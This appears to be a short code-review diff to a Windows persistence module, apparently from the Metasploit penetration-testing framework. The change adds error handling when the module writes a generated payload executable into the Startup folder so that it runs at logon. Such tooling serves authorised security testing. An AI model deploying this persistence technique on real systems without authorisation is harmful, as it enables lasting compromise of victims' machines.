windows persistence: startup folder review

Author: h00die

modules/exploits/windows/persistence/startup_folder.rb

@@ -83,7 +83,7 @@ def install_persistence
     payload_exe = generate_payload_exe
     payload_pathname = folder + '\\' + payload_name + '.exe'
     vprint_good("Writing payload to #{payload_pathname}")
-    write_file(payload_pathname, payload_exe)
+    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
     vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
     @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
   end